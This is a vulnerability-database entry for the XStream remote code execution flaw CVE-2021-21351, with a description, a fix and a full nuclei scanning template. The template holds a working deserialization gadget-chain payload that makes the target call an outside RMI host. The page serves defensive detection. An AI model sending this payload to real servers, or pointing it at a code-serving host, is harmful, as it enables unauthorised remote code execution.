XStream <1.4.16 - Remote Code Execution

criticalseverity

9.1CVSS score

82.1%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.

Fix

Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "dns" AND contains "timestamp" or "com.thoughtworks.xstream" AND contains in header "application/json" AND status 500

Run it with nuclei: nuclei -id CVE-2021-21351 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21351

info:
  name: XStream <1.4.16 - Remote Code Execution
  author: pwnhxl
  severity: critical
  description: |
    XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
  remediation: Install at least 1.4.16 if you rely on XStream's default blacklist of the Security Framework.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/xstream/CVE-2021-21351
    - https://x-stream.github.io/CVE-2021-21351.html
    - https://paper.seebug.org/1543/
    - http://x-stream.github.io/changes.html#1.4.16
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2021-21351
    cwe-id: CWE-434
    epss-score: 0.82136
    epss-percentile: 0.9966
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,oast,vulhub,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
              <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                  <m__size>-10086</m__size>
                  <m__mgrDefault>
                    <__overrideDefaultParser>false</__overrideDefaultParser>
                    <m__incremental>false</m__incremental>
                    <m__source__location>false</m__source__location>
                    <m__dtms>
                      <null/>
                    </m__dtms>
                    <m__defaultHandler/>
                  </m__mgrDefault>
                  <m__shouldStripWS>false</m__shouldStripWS>
                  <m__indexing>false</m__indexing>
                  <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                    <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                      <javax.sql.rowset.BaseRowSet>
                        <default>
                          <concurrency>1008</concurrency>
                          <escapeProcessing>true</escapeProcessing>
                          <fetchDir>1000</fetchDir>
                          <fetchSize>0</fetchSize>
                          <isolation>2</isolation>
                          <maxFieldSize>0</maxFieldSize>
                          <maxRows>0</maxRows>
                          <queryTimeout>0</queryTimeout>
                          <readOnly>true</readOnly>
                          <rowSetType>1004</rowSetType>
                          <showDeleted>false</showDeleted>
                          <dataSource>rmi://{{interactsh-url}}/test</dataSource>
                          <listeners/>
                          <params/>
                        </default>
                      </javax.sql.rowset.BaseRowSet>
                      <com.sun.rowset.JdbcRowSetImpl>
                        <default/>
                      </com.sun.rowset.JdbcRowSetImpl>
                    </fPullParserConfig>
                    <fConfigSetInput>
                      <class>com.sun.rowset.JdbcRowSetImpl</class>
                      <name>setAutoCommit</name>
                      <parameter-types>
                        <class>boolean</class>
                      </parameter-types>
                    </fConfigSetInput>
                    <fConfigParse reference='../fConfigSetInput'/>
                    <fParseInProgress>false</fParseInProgress>
                  </m__incrementalSAXSource>
                  <m__walker>
                    <nextIsRaw>false</nextIsRaw>
                  </m__walker>
                  <m__endDocumentOccured>false</m__endDocumentOccured>
                  <m__idAttributes/>
                  <m__textPendingStart>-1</m__textPendingStart>
                  <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                  <m__pastFirstElement>false</m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity>1</m__dtmIdentity>
              </m__DTMXRTreeFrag>
              <m__dtmRoot>1</m__dtmRoot>
              <m__allowRelease>false</m__allowRelease>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>ysomap</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
              <m__obj class='string'>test</m__obj>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
        </sorted-set>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from